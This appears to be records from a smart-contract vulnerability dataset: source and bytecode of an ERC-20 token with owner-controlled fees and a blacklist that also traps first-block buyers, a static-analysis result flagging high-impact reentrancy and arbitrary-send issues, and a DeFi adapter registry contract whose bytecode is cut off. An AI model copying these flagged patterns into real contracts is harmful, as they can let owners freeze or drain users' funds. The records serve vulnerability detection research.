setFeeRate(uint rate) external { require(_msgSender() == _CollectionAddress); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external { require(_msgSender() == _CollectionAddress); require( buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external { require(_msgSender() == _CollectionAddress); _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _CollectionAddress); _CollectionAddress = payable(newAddress); emit TaxAddUpdated(_CollectionAddress); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function setBots(address[] memory bots_) external onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) external { require(_msgSender() == _CollectionAddress); for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } }
0x6080604052600436106101f25760003560e01c8063590f897e1161010d578063a3f4782f116100a0578063c9567bf91161006f578063c9567bf9146105b2578063db92dbb6146105c7578063dcb0e0ad146105dc578063dd62ed3e146105fc578063e8078d941461064257600080fd5b8063a3f4782f1461053d578063a9059cbb1461055d578063b515566a1461057d578063c3c8cd801461059d57600080fd5b806373f54a11116100dc57806373f54a11146104aa5780638da5cb5b146104ca57806394b8d8f2146104e857806395d89b411461050857600080fd5b8063590f897e1461044a5780636fc3eaec1461046057806370a0823114610475578063715018a61461049557600080fd5b8063313ce5671161018557806340b9a54b1161015457806340b9a54b146103bc57806344f6a977146103d257806345596e2e1461040a57806349bd5a5e1461042a57600080fd5b8063313ce5671461032657806331c2d8471461034d57806332d873d81461036d5780633bbac5791461038357600080fd5b806318160ddd116101c157806318160ddd146102c05780631940d020146102db57806323b872dd146102f157806327f3a72a1461031157600080fd5b80630492f055146101fe57806306fdde0314610227578063095ea7b31461026e5780630b78f9c01461029e57600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600d5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b506102616040518060400160405280600e81526020016d5374205061747269636b20496e7560901b81525081565b60405161021e9190611947565b34801561027a57600080fd5b5061028e6102893660046119c1565b610657565b604051901515815260200161021e565b3480156102aa57600080fd5b506102be6102b93660046119ed565b61066d565b005b3480156102cc57600080fd5b50678ac7230489e80000610214565b3480156102e757600080fd5b50610214600e5481565b3480156102fd57600080fd5b5061028e61030c366004611a0f565b6106ef565b34801561031d57600080fd5b50610214610743565b34801561033257600080fd5b5061033b600981565b60405160ff909116815260200161021e565b34801561035957600080fd5b506102be610368366004611a66565b610753565b34801561037957600080fd5b50610214600f5481565b34801561038f57600080fd5b5061028e61039e366004611b2b565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156103c857600080fd5b50610214600a5481565b3480156103de57600080fd5b506008546103f2906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561041657600080fd5b506102be610425366004611b48565b6107df565b34801561043657600080fd5b506009546103f2906001600160a01b031681565b34801561045657600080fd5b50610214600b5481565b34801561046c57600080fd5b506102be610880565b34801561048157600080fd5b50610214610490366004611b2b565b6108ad565b3480156104a157600080fd5b506102be6108c8565b3480156104b657600080fd5b506102be6104c5366004611b2b565b61093c565b3480156104d657600080fd5b506000546001600160a01b03166103f2565b3480156104f457600080fd5b5060105461028e9062010000900460ff1681565b34801561051457600080fd5b506102616040518060400160405280600981526020016853545041545249434b60b81b81525081565b34801561054957600080fd5b506102be6105583660046119ed565b6109aa565b34801561056957600080fd5b5061028e6105783660046119c1565b6109ff565b34801561058957600080fd5b506102be610598366004611a66565b610a0c565b3480156105a957600080fd5b506102be610b25565b3480156105be57600080fd5b506102be610b5b565b3480156105d357600080fd5b50610214610bf6565b3480156105e857600080fd5b506102be6105f7366004611b6f565b610c0e565b34801561060857600080fd5b50610214610617366004611b8c565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561064e57600080fd5b506102be610c81565b6000610664338484610fc7565b50600192915050565b6008546001600160a01b0316336001600160a01b03161461068d57600080fd5b600a548210801561069f5750600b5481105b6106a857600080fd5b600a829055600b81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60006106fc8484846110eb565b6001600160a01b038416600090815260036020908152604080832033845290915281205461072b908490611bdb565b9050610738853383610fc7565b506001949350505050565b600061074e306108ad565b905090565b6008546001600160a01b0316336001600160a01b03161461077357600080fd5b60005b81518110156107db5760006005600084848151811061079757610797611bf2565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107d381611c08565b915050610776565b5050565b6008546001600160a01b0316336001600160a01b0316146107ff57600080fd5b600081116108445760405162461bcd60e51b815260206004820152600d60248201526c63616e2774206265207a65726f60981b60448201526064015b60405180910390fd5b600c8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b6008546001600160a01b0316336001600160a01b0316146108a057600080fd5b476108aa816115e4565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b031633146108f25760405162461bcd60e51b815260040161083b90611c23565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b03161461095c57600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f5a9bcd8aea0cbf27de081c73815e420f65287b49bcf7a17ff691c61a2dd2d2d690602001610875565b6008546001600160a01b0316336001600160a01b0316146109ca57600080fd5b6702c68af0bb1400008210156109df57600080fd5b6702c68af0bb1400008110156109f457600080fd5b600d91909155600e55565b60006106643384846110eb565b6000546001600160a01b03163314610a365760405162461bcd60e51b815260040161083b90611c23565b60005b81518110156107db5760095482516001600160a01b0390911690839083908110610a6557610a65611bf2565b60200260200101516001600160a01b031614158015610ab6575060075482516001600160a01b0390911690839083908110610aa257610aa2611bf2565b60200260200101516001600160a01b031614155b15610b1357600160056000848481518110610ad357610ad3611bf2565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610b1d81611c08565b915050610a39565b6008546001600160a01b0316336001600160a01b031614610b4557600080fd5b6000610b50306108ad565b90506108aa8161161e565b6000546001600160a01b03163314610b855760405162461bcd60e51b815260040161083b90611c23565b60105460ff1615610bd25760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161083b565b6010805460ff1916600117905542600f556702c68af0bb140000600d819055600e55565b60095460009061074e906001600160a01b03166108ad565b6008546001600160a01b0316336001600160a01b031614610c2e57600080fd5b6010805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb90602001610875565b6000546001600160a01b03163314610cab5760405162461bcd60e51b815260040161083b90611c23565b60105460ff1615610cf85760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b604482015260640161083b565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610d343082678ac7230489e80000610fc7565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d72573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d969190611c58565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610de3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e079190611c58565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610e54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e789190611c58565b600980546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610ea8816108ad565b600080610ebd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610f25573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f4a9190611c75565b505060095460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610fa3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107db9190611ca3565b6001600160a01b0383166110295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161083b565b6001600160a01b03821661108a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161083b565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526005602052604090205460ff161561111157600080fd5b6001600160a01b0383166111755760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161083b565b6001600160a01b0382166111d75760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161083b565b600081116112395760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161083b565b600080546001600160a01b0385811691161480159061126657506000546001600160a01b03848116911614155b15611585576009546001600160a01b03858116911614801561129657506007546001600160a01b03848116911614155b80156112bb57506001600160a01b03831660009081526004602052604090205460ff16155b1561144a5760105460ff166112cf57600080fd5b600f544214156112fd576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600d5482111561134f5760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e0000000000604482015260640161083b565b600e5461135b846108ad565b6113659084611cc0565b11156113c35760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b606482015260840161083b565b6001600160a01b03831660009081526006602052604090206001015460ff1661142b576040805180820182526000808252600160208084018281526001600160a01b03891684526006909152939091209151825591519101805460ff19169115159190911790555b506001600160a01b038216600090815260066020526040902042905560015b601054610100900460ff16158015611464575060105460ff165b801561147e57506009546001600160a01b03858116911614155b156115855761148e42600c611cc0565b6001600160a01b038516600090815260066020526040902054106114b157600080fd5b60006114bc306108ad565b9050801561156e5760105462010000900460ff161561153f57600c54600954606491906114f1906001600160a01b03166108ad565b6114fb9190611cd8565b6115059190611cf7565b81111561153f57600c5460095460649190611528906001600160a01b03166108ad565b6115329190611cd8565b61153c9190611cf7565b90505b600061154c600383611cf7565b90506115588183611bdb565b915061156381611792565b61156c8261161e565b505b47801561157e5761157e476115e4565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff16806115c757506001600160a01b03841660009081526004602052604090205460ff165b156115d0575060005b6115dd85858584866117c2565b5050505050565b6008546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156107db573d6000803e3d6000fd5b6010805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061166257611662611bf2565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156116bb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116df9190611c58565b816001815181106116f2576116f2611bf2565b6001600160a01b0392831660209182029290920101526007546117189130911684610fc7565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac94790611751908590600090869030904290600401611d19565b600060405180830381600087803b15801561176b57600080fd5b505af115801561177f573d6000803e3d6000fd5b50506010805461ff001916905550505050565b6010805461ff00191661010017905580156117b4576117b43061dead836110eb565b506010805461ff0019169055565b60006117ce83836117e4565b90506117dc86868684611808565b505050505050565b60008083156118015782156117fc5750600a54611801565b50600b545b9392505050565b60008061181584846118e5565b6001600160a01b038816600090815260026020526040902054919350915061183e908590611bdb565b6001600160a01b03808816600090815260026020526040808220939093559087168152205461186e908390611cc0565b6001600160a01b03861660009081526002602052604090205561189081611919565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118d591815260200190565b60405180910390a3505050505050565b6000808060646118f58587611cd8565b6118ff9190611cf7565b9050600061190d8287611bdb565b96919550909350505050565b30600090815260026020526040902054611934908290611cc0565b3060009081526002602052604090205550565b600060208083528351808285015260005b8181101561197457858101830151858201604001528201611958565b81811115611986576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146108aa57600080fd5b80356119bc8161199c565b919050565b600080604083850312156119d457600080fd5b82356119df8161199c565b946020939093013593505050565b60008060408385031215611a0057600080fd5b50508035926020909101359150565b600080600060608486031215611a2457600080fd5b8335611a2f8161199c565b92506020840135611a3f8161199c565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a7957600080fd5b823567ffffffffffffffff80821115611a9157600080fd5b818501915085601f830112611aa557600080fd5b813581811115611ab757611ab7611a50565b8060051b604051601f19603f83011681018181108582111715611adc57611adc611a50565b604052918252848201925083810185019188831115611afa57600080fd5b938501935b82851015611b1f57611b10856119b1565b84529385019392850192611aff565b98975050505050505050565b600060208284031215611b3d57600080fd5b81356118018161199c565b600060208284031215611b5a57600080fd5b5035919050565b80151581146108aa57600080fd5b600060208284031215611b8157600080fd5b813561180181611b61565b60008060408385031215611b9f57600080fd5b8235611baa8161199c565b91506020830135611bba8161199c565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611bed57611bed611bc5565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611c1c57611c1c611bc5565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611c6a57600080fd5b81516118018161199c565b600080600060608486031215611c8a57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611cb557600080fd5b815161180181611b61565b60008219821115611cd357611cd3611bc5565b500190565b6000816000190483118215151615611cf257611cf2611bc5565b500290565b600082611d1457634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d695784516001600160a01b031683529383019391830191600101611d44565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212206915afca2a02258de6bab01b4363bd22b51bc16b28a6caae526495737e731ef464736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,990
0xadfc6460233221eca99dac25d00f98d32ea3989e
pragma solidity 0.6.11; pragma experimental ABIEncoderV2; struct FullAbsoluteTokenAmount { AbsoluteTokenAmountMeta base; AbsoluteTokenAmountMeta[] underlying; } struct AbsoluteTokenAmountMeta { AbsoluteTokenAmount absoluteTokenAmount; ERC20Metadata erc20metadata; } struct ERC20Metadata { string name; string symbol; uint8 decimals; } struct AdapterBalance { bytes32 protocolAdapterName; AbsoluteTokenAmount[] absoluteTokenAmounts; } struct AbsoluteTokenAmount { address token; uint256 amount; } struct Component { address token; uint256 rate; } struct TransactionData { Action[] actions; TokenAmount[] inputs; Fee fee; AbsoluteTokenAmount[] requiredOutputs; uint256 nonce; } struct Action { bytes32 protocolAdapterName; ActionType actionType; TokenAmount[] tokenAmounts; bytes data; } struct TokenAmount { address token; uint256 amount; AmountType amountType; } struct Fee { uint256 share; address beneficiary; } enum ActionType { None, Deposit, Withdraw } enum AmountType { None, Relative, Absolute } abstract contract ProtocolAdapter { /** * @dev MUST return amount and type of the given token * locked on the protocol by the given account. */ function getBalance( address token, address account ) public view virtual returns (uint256); } abstract contract Ownable { modifier onlyOwner { require(msg.sender == owner_, "O: only owner"); _; } modifier onlyPendingOwner { require(msg.sender == pendingOwner_, "O: only pending owner"); _; } address private owner_; address private pendingOwner_; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @notice Initializes owner variable with msg.sender address. */ constructor() internal { owner_ = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @notice Sets pending owner to the desired address. * The function is callable only by the owner. */ function proposeOwnership(address newOwner) external onlyOwner { require(newOwner != address(0), "O: empty newOwner"); require(newOwner != owner_, "O: equal to owner_"); require(newOwner != pendingOwner_, "O: equal to pendingOwner_"); pendingOwner_ = newOwner; } /** * @notice Transfers ownership to the pending owner. * The function is callable only by the pending owner. */ function acceptOwnership() external onlyPendingOwner { emit OwnershipTransferred(owner_, msg.sender); owner_ = msg.sender; delete pendingOwner_; } /** * @return Owner of the contract. */ function owner() external view returns (address) { return owner_; } /** * @return Pending owner of the contract. */ function pendingOwner() external view returns (address) { return pendingOwner_; } } abstract contract ProtocolAdapterManager is Ownable { // Protocol adapters' names bytes32[] internal _protocolAdapterNames; // Protocol adapter's name => protocol adapter's address mapping (bytes32 => address) internal _protocolAdapterAddress; // protocol adapter's name => protocol adapter's supported tokens mapping (bytes32 => address[]) internal _protocolAdapterSupportedTokens; /** * @notice Adds protocol adapters. * The function is callable only by the owner. * @param newProtocolAdapterNames Array of the new protocol adapters' names. * @param newProtocolAdapterAddresses Array of the new protocol adapters' addresses. * @param newSupportedTokens Array of the new protocol adapters' supported tokens. */ function addProtocolAdapters( bytes32[] calldata newProtocolAdapterNames, address[] calldata newProtocolAdapterAddresses, address[][] calldata newSupportedTokens ) external onlyOwner { uint256 length = newProtocolAdapterNames.length; require(length != 0, "PAM: empty[1]"); require(length == newProtocolAdapterAddresses.length, "PAM: lengths differ[1]"); require(length == newSupportedTokens.length, "PAM: lengths differ[2]"); for (uint256 i = 0; i < length; i++) { addProtocolAdapter( newProtocolAdapterNames[i], newProtocolAdapterAddresses[i], newSupportedTokens[i] ); } } /** * @notice Removes protocol adapters. * The function is callable only by the owner. * @param protocolAdapterNames Array of the protocol adapters' names. */ function removeProtocolAdapters( bytes32[] calldata protocolAdapterNames ) external onlyOwner { uint256 length = protocolAdapterNames.length; require(length != 0, "PAM: empty[2]"); for (uint256 i = 0; i < length; i++) { removeProtocolAdapter(protocolAdapterNames[i]); } } /** * @notice Updates protocol adapters. * The function is callable only by the owner. * @param protocolAdapterNames Array of the protocol adapters' names. * @param newProtocolAdapterAddresses Array of the protocol adapters' new addresses. * @param newSupportedTokens Array of the protocol adapters' new supported tokens. */ function updateProtocolAdapters( bytes32[] calldata protocolAdapterNames, address[] calldata newProtocolAdapterAddresses, address[][] calldata newSupportedTokens ) external onlyOwner { uint256 length = protocolAdapterNames.length; require(length != 0, "PAM: empty[3]"); require(length == newProtocolAdapterAddresses.length, "PAM: lengths differ[3]"); require(length == newSupportedTokens.length, "PAM: lengths differ[4]"); for (uint256 i = 0; i < length; i++) { updateProtocolAdapter( protocolAdapterNames[i], newProtocolAdapterAddresses[i], newSupportedTokens[i] ); } } /** * @return Array of protocol adapters' names. */ function getProtocolAdapterNames() external view returns (bytes32[] memory) { return _protocolAdapterNames; } /** * @param protocolAdapterName Name of the protocol adapter. * @return Address of protocol adapter. */ function getProtocolAdapterAddress( bytes32 protocolAdapterName ) external view returns (address) { return _protocolAdapterAddress[protocolAdapterName]; } /** * @param protocolAdapterName Name of the protocol adapter. * @return Array of protocol adapter's supported tokens. */ function getSupportedTokens( bytes32 protocolAdapterName ) external view returns (address[] memory) { return _protocolAdapterSupportedTokens[protocolAdapterName]; } /** * @notice Adds a protocol adapter. * @param newProtocolAdapterName New protocol adapter's protocolAdapterName. * @param newAddress New protocol adapter's address. * @param newSupportedTokens Array of the new protocol adapter's supported tokens. * Empty array is always allowed. */ function addProtocolAdapter( bytes32 newProtocolAdapterName, address newAddress, address[] calldata newSupportedTokens ) internal { require(newProtocolAdapterName != bytes32(0), "PAM: zero[1]"); require(newAddress != address(0), "PAM: zero[2]"); require(_protocolAdapterAddress[newProtocolAdapterName] == address(0), "PAM: exists"); _protocolAdapterNames.push(newProtocolAdapterName); _protocolAdapterAddress[newProtocolAdapterName] = newAddress; _protocolAdapterSupportedTokens[newProtocolAdapterName] = newSupportedTokens; } /** * @notice Removes a protocol adapter. * @param protocolAdapterName Protocol adapter's protocolAdapterName. */ function removeProtocolAdapter( bytes32 protocolAdapterName ) internal { require(_protocolAdapterAddress[protocolAdapterName] != address(0), "PAM: does not exist[1]"); uint256 length = _protocolAdapterNames.length; uint256 index = 0; while (_protocolAdapterNames[index] != protocolAdapterName) { index++; } if (index != length - 1) { _protocolAdapterNames[index] = _protocolAdapterNames[length - 1]; } _protocolAdapterNames.pop(); delete _protocolAdapterAddress[protocolAdapterName]; delete _protocolAdapterSupportedTokens[protocolAdapterName]; } /** * @notice Updates a protocol adapter. * @param protocolAdapterName Protocol adapter's protocolAdapterName. * @param newProtocolAdapterAddress Protocol adapter's new address. * @param newSupportedTokens Array of the protocol adapter's new supported tokens. * Empty array is always allowed. */ function updateProtocolAdapter( bytes32 protocolAdapterName, address newProtocolAdapterAddress, address[] calldata newSupportedTokens ) internal { address oldProtocolAdapterAddress = _protocolAdapterAddress[protocolAdapterName]; require(oldProtocolAdapterAddress != address(0), "PAM: does not exist[2]"); require(newProtocolAdapterAddress != address(0), "PAM: zero[3]"); if (oldProtocolAdapterAddress == newProtocolAdapterAddress) { _protocolAdapterSupportedTokens[protocolAdapterName] = newSupportedTokens; } else { _protocolAdapterAddress[protocolAdapterName] = newProtocolAdapterAddress; _protocolAdapterSupportedTokens[protocolAdapterName] = newSupportedTokens; } } } contract ProtocolAdapterRegistry is Ownable, ProtocolAdapterManager { address internal constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; /** * @param account Address of the account. * @return AdapterBalance array by the given account. * @notice Zero values are filtered out! */ function getBalances( address account ) external view returns (AdapterBalance[] memory) { // Get balances for all the adapters AdapterBalance[] memory adapterBalances = getAdapterBalances( _protocolAdapterNames, account ); // Declare temp variable and counters AbsoluteTokenAmount[] memory currentAbsoluteTokenAmounts; AbsoluteTokenAmount[] memory nonZeroAbsoluteTokenAmounts; uint256 nonZeroAdaptersCounter; uint256[] memory nonZeroTokensCounters; uint256 adapterBalancesLength; uint256 currentAbsoluteTokenAmountsLength; // Reset counters nonZeroTokensCounters = new uint256[](adapterBalances.length); nonZeroAdaptersCounter = 0; adapterBalancesLength = adapterBalances.length; // Iterate over all the adapters' balances for (uint256 i = 0; i < adapterBalancesLength; i++) { // Fill temp variable currentAbsoluteTokenAmounts = adapterBalances[i].absoluteTokenAmounts; // Reset counter nonZeroTokensCounters[i] = 0; currentAbsoluteTokenAmountsLength = currentAbsoluteTokenAmounts.length; // Increment if token balance is positive for (uint256 j = 0; j < currentAbsoluteTokenAmountsLength; j++) { if (currentAbsoluteTokenAmounts[j].amount > 0) { nonZeroTokensCounters[i]++; } } // Increment if at least one positive token balance if (nonZeroTokensCounters[i] > 0) { nonZeroAdaptersCounter++; } } // Declare resulting variable AdapterBalance[] memory nonZeroAdapterBalances; // Reset resulting variable and counter nonZeroAdapterBalances = new AdapterBalance[](nonZeroAdaptersCounter); nonZeroAdaptersCounter = 0; // Iterate over all the adapters' balances for (uint256 i = 0; i < adapterBalancesLength; i++) { // Skip if no positive token balances if (nonZeroTokensCounters[i] == 0) { continue; } // Fill temp variable currentAbsoluteTokenAmounts = adapterBalances[i].absoluteTokenAmounts; // Reset temp variable and counter nonZeroAbsoluteTokenAmounts = new AbsoluteTokenAmount[](nonZeroTokensCounters[i]); nonZeroTokensCounters[i] = 0; currentAbsoluteTokenAmountsLength = currentAbsoluteTokenAmounts.length; for (uint256 j = 0; j < currentAbsoluteTokenAmountsLength; j++) { // Skip if balance is not positive if (currentAbsoluteTokenAmounts[j].amount == 0) { continue; } // Else fill temp variable nonZeroAbsoluteTokenAmounts[nonZeroTokensCounters[i]] = currentAbsoluteTokenAmounts[j]; // Increment counter nonZeroTokensCounters[i]++; } // Fill resulting variable nonZeroAdapterBalances[nonZeroAdaptersCounter] = AdapterBalance({ protocolAdapterName: adapterBalances[i].protocolAdapterName, absoluteTokenAmounts: nonZeroAbsoluteTokenAmounts }); // Increment counter nonZeroAdaptersCounter++; } return nonZeroAdapterBalances; } /** * @param protocolAdapterNames Array of the protocol adapters' names. * @param account Address of the account. * @return AdapterBalance array by the given parameters. */ function getAdapterBalances( bytes32[] memory protocolAdapterNames, address account ) public view returns (AdapterBalance[] memory) { uint256 length = protocolAdapterNames.length; AdapterBalance[] memory adapterBalances = new AdapterBalance[](length); for (uint256 i = 0; i < length; i++) { adapterBalances[i] = getAdapterBalance( protocolAdapterNames[i], _protocolAdapterSupportedTokens[protocolAdapterNames[i]], account ); } return adapterBalances; } /** * @param protocolAdapterName Protocol adapter's Name. * @param tokens Array of tokens' addresses. * @param account Address of the account. * @return AdapterBalance array by the given parameters. */ function getAdapterBalance( bytes32 protocolAdapterName, address[] memory tokens, address account ) public view returns (AdapterBalance memory) { address adapter = _protocolAdapterAddress[protocolAdapterName]; require(adapter != address(0), "AR: bad protocolAdapterName"); uint256 length = tokens.length; AbsoluteTokenAmount[] memory absoluteTokenAmounts = new AbsoluteTokenAmount[](tokens.length); for (uint256 i = 0; i < length; i++) { try ProtocolAdapter(adapter).getBalance( tokens[i], account ) returns (uint256 amount) { absoluteTokenAmounts[i] = AbsoluteTokenAmount({ token: tokens[i], amount: amount }); } catch { absoluteTokenAmounts[i] = AbsoluteTokenAmount({ token: tokens[i], amount: 0 }); } } return AdapterBalance({ protocolAdapterName: protocolAdapterName, absoluteTokenAmounts: absoluteTokenAmounts }); } } interface ERC20 { function approve(address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function transferFrom(address, address, uint256) external returns (bool); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); function allowance(address, address) external view returns (uint256); }
0x608060405234801561001057600080fd5b50600436106100df5760003560e01c806379ba50971161008c578063c472367d11610066578063c472367d146101ba578063c84aae17146101cd578063e30c3978146101e0578063ed8b0e25146101e8576100df565b806379ba50971461018a5780638a47ce6e146101925780638da5cb5b146101b2576100df565b806369751448116100bd57806369751448146101425780636faf731a14610157578063710bf32214610177576100df565b806308602201146100e45780632c8fd3231461010d57806367ebdad01461012d575b600080fd5b6100f76100f23660046117af565b6101fb565b604051610104919061190d565b60405180910390f35b61012061011b366004611701565b610223565b60405161010491906119e7565b61014061013b36600461166b565b61035b565b005b61014a6104d6565b60405161010491906119af565b61016a6101653660046117af565b61052f565b6040516101049190611955565b610140610185366004611609565b6105a8565b610140610737565b6101a56101a03660046117c7565b610805565b6040516101049190611e7a565b6100f7610a5b565b6101406101c836600461166b565b610a77565b6101206101db366004611609565b610bdf565b6100f7610f6d565b6101406101f636600461162b565b610f89565b60009081526003602052604090205473ffffffffffffffffffffffffffffffffffffffff1690565b8151606090818167ffffffffffffffff8111801561024057600080fd5b5060405190808252806020026020018201604052801561027a57816020015b61026761146e565b81526020019060019003908161025f5790505b50905060005b828110156103505761033186828151811061029757fe5b6020026020010151600460008985815181106102af57fe5b6020026020010151815260200190815260200160002080548060200260200160405190810160405280929190818152602001828054801561032657602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff1681526001909101906020018083116102fb575b505050505087610805565b82828151811061033d57fe5b6020908102919091010152600101610280565b509150505b92915050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146103b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611a9c565b60405180910390fd5b84806103ed576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611c1d565b808414610426576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611dd5565b80821461045f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611e43565b60005b818110156104cc576104c488888381811061047957fe5b9050602002013587878481811061048c57fe5b90506020020160208101906104a19190611609565b8686858181106104ad57fe5b90506020028101906104bf9190611e8d565b611046565b600101610462565b5050505050505050565b6060600280548060200260200160405190810160405280929190818152602001828054801561052457602002820191906000526020600020905b815481526020019060010190808311610510575b505050505090505b90565b60008181526004602090815260409182902080548351818402810184019094528084526060939283018282801561059c57602002820191906000526020600020905b815473ffffffffffffffffffffffffffffffffffffffff168152600190910190602001808311610571575b50505050509050919050565b60005473ffffffffffffffffffffffffffffffffffffffff1633146105f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611a9c565b73ffffffffffffffffffffffffffffffffffffffff8116610646576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611a65565b60005473ffffffffffffffffffffffffffffffffffffffff8281169116141561069b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611c8b565b60015473ffffffffffffffffffffffffffffffffffffffff828116911614156106f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611b78565b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff92909216919091179055565b60015473ffffffffffffffffffffffffffffffffffffffff163314610788576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ac90611d30565b60008054604051339273ffffffffffffffffffffffffffffffffffffffff909216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080547fffffffffffffffffffffffff00000000000000000000000000000000000000009081163317909155600180549091